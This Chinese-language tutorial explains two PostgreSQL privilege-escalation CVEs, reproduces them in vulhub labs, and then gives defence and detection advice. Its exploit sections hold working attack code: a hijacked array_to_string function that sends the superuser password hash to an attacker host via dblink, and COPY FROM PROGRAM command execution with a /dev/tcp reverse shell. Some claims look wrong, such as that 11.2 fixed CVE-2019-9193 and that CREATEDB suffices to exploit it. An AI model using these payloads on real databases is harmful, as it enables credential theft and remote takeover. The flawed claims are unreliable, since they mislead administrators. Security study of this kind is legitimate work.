
1. PostgreSQL提权漏洞背景与危害PostgreSQL作为全球最先进的开源关系型数据库之一在企业级应用中广泛使用。但正是这种广泛性使得其安全漏洞可能造成严重影响。CVE-2018-1058和CVE-2019-9193这两个提权漏洞都曾让无数数据库管理员夜不能寐。我曾在一次企业安全评估中亲眼见过攻击者利用这些漏洞的场景攻击者仅用普通用户权限就成功获取了数据库超级用户权限进而控制了整个数据库服务器。这种提权操作往往只需要几分钟却可能造成数据泄露、服务中断等严重后果。这两个漏洞的共同特点是都利用了PostgreSQL的特性设计缺陷。CVE-2018-1058是通过函数重载实现的权限提升而CVE-2019-9193则是利用COPY命令的程序执行功能。理解它们的原理不仅能帮助我们更好地防御也能提升数据库安全管理水平。2. CVE-2018-1058漏洞深度解析2.1 漏洞原理详解这个漏洞的核心在于PostgreSQL的搜索路径(search_path)和函数重载机制。默认情况下PostgreSQL会优先搜索public模式下的对象。攻击者可以利用这一点在public模式下创建一个与系统函数同名的恶意函数。当超级用户执行某些操作时可能会无意中调用这个恶意函数而非系统函数。我测试时发现最典型的触发场景是使用pg_dump工具备份数据库。这时恶意函数会被执行而执行权限却是超级用户的权限。具体来说攻击者可以创建一个array_to_string函数的恶意版本。这个函数在PostgreSQL中用于数组转换超级用户在执行备份操作时很可能会调用它。恶意函数中可以嵌入任意SQL代码比如连接外部服务器发送敏感数据。2.2 完整复现环境搭建为了安全地复现这个漏洞我推荐使用Docker环境。以下是详细步骤# 下载漏洞环境 git clone https://github.com/vulhub/vulhub.git cd vulhub/postgres/CVE-2018-1058 # 启动环境 docker-compose up -d这个环境会自动配置好存在漏洞的PostgreSQL 10版本并创建两个测试用户超级用户postgres/postgres普通用户vulhub/vulhub环境启动后PostgreSQL服务会监听5432端口。我建议在测试机器上安装psql客户端方便后续操作# Ubuntu安装psql客户端 sudo apt-get install postgresql-client2.3 分步漏洞利用演示首先我们以普通用户身份登录数据库psql -h 192.168.1.100 -U vulhub然后创建恶意函数。这个函数会尝试将超级用户的密码哈希发送到攻击者控制的服务器CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$ select dblink_connect((select hostaddr192.168.1.200 port6666 userpostgres passwordattacker sslmodedisable dbname||(SELECT passwd FROM pg_shadow WHERE usenamepostgres))); SELECT pg_catalog.array_to_string($1,$2); $$ LANGUAGE SQL VOLATILE;在攻击机器上我们需要监听6666端口等待连接nc -lvnp 6666最后触发漏洞的关键是让超级用户执行pg_dump操作docker-compose exec postgres pg_dump -U postgres -f backup.sql vulhub这时攻击者的监听端就会收到包含超级用户密码哈希的连接请求。这个哈希可以被离线破解或者在某些情况下直接用于认证。2.4 全面防护方案根据我的实战经验单一防护措施往往不够需要多层防御模式权限控制最有效REVOKE CREATE ON SCHEMA public FROM PUBLIC;修改默认search_path-- 为每个用户单独设置 ALTER ROLE username SET search_path $user; -- 或在配置文件中全局设置 ALTER SYSTEM SET search_path $user, pg_catalog;最小权限原则严格限制普通用户的权限避免使用超级用户执行日常操作为不同应用创建专用数据库用户监控与审计-- 启用详细日志记录 ALTER SYSTEM SET log_statement all; ALTER SYSTEM SET log_connections on;3. CVE-2019-9193漏洞深入分析3.1 漏洞机制剖析这个漏洞更加危险因为它允许直接执行操作系统命令。问题的根源在于PostgreSQL的COPY命令支持PROGRAM参数可以从程序输出中读取数据。在受影响版本中任何具有COPY权限的用户都可以利用这个特性执行任意命令。我在测试中发现很多应用都会给业务数据库用户授予COPY权限因为这是数据导入导出的常用功能。攻击者可以创建一个表然后使用COPY FROM PROGRAM将命令执行结果导入表中。更可怕的是这个操作不需要超级用户权限只要具有数据库管理员权限CREATEDB或CREATEROLE就足够了。3.2 环境配置指南使用以下命令快速搭建测试环境git clone https://github.com/vulhub/vulhub.git cd vulhub/postgres/CVE-2019-9193 docker-compose up -d这个环境会启动一个PostgreSQL 11实例默认用户postgres/postgres具有管理员权限。为了模拟真实场景我建议先创建一个测试用户CREATE USER testuser WITH PASSWORD test123 CREATEDB;3.3 漏洞利用实战首先使用测试用户登录psql -h 192.168.1.100 -U testuser然后执行以下攻击代码-- 创建临时表存储命令输出 DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); -- 执行系统命令并将结果存入表 COPY cmd_exec FROM PROGRAM id; ls -la /; whoami; -- 查看命令执行结果 SELECT * FROM cmd_exec;在我的测试中这个漏洞甚至可以用于获取反向shellCOPY cmd_exec FROM PROGRAM bash -c bash -i /dev/tcp/192.168.1.200/4444 01;攻击者只需要在192.168.1.200上监听4444端口就能获得一个完整的交互式shell。3.4 立体防御策略立即升级PostgreSQL 11.2及以后版本已修复此漏洞对于无法升级的系统必须严格控制权限权限最小化-- 撤销危险权限 REVOKE ALL ON SCHEMA public FROM PUBLIC; REVOKE CREATE ON SCHEMA public FROM PUBLIC; -- 限制COPY权限 REVOKE EXECUTE ON FUNCTION pg_read_file(text) FROM PUBLIC;命令过滤使用pg_hba.conf限制连接部署数据库防火墙过滤可疑SQL深度监控-- 记录所有COPY命令 ALTER SYSTEM SET log_statement mod;4. 高级防护与最佳实践4.1 企业级防护架构在大规模生产环境中我建议采用以下防护体系网络隔离数据库服务器放在独立VLAN限制只有应用服务器可以连接使用跳板机管理数据库访问权限管理体系四层权限模型超级用户、DBA、应用用户、只读用户定期审计权限分配实施权限审批流程安全加固检查清单禁用不必要的扩展加密敏感数据列定期轮换数据库凭据启用SSL/TLS加密连接4.2 入侵检测方案对于这两个漏洞可以部署特定的检测规则CVE-2018-1058检测监控public模式下的函数创建审计所有array_to_string函数调用分析异常的dblink连接CVE-2019-9193检测拦截所有COPY FROM PROGRAM语句监控可疑的系统命令执行分析非常规的数据导出操作4.3 应急响应指南如果怀疑系统已经遭受攻击我的建议处理流程是立即隔离断开网络连接冻结系统状态保存内存和磁盘快照取证分析# 检查异常进程 ps auxf # 分析网络连接 netstat -antp # 检查数据库日志 cat /var/log/postgresql/*.log恢复措施重置所有数据库密码审查系统账户重建受污染的数据库对象在多年的安全实践中我发现PostgreSQL的安全性其实相当出色但任何系统都难免存在漏洞。关键是要建立纵深防御体系定期进行安全评估保持对最新威胁情报的关注。数据库安全没有银弹只有持续的关注和投入才能确保数据安全。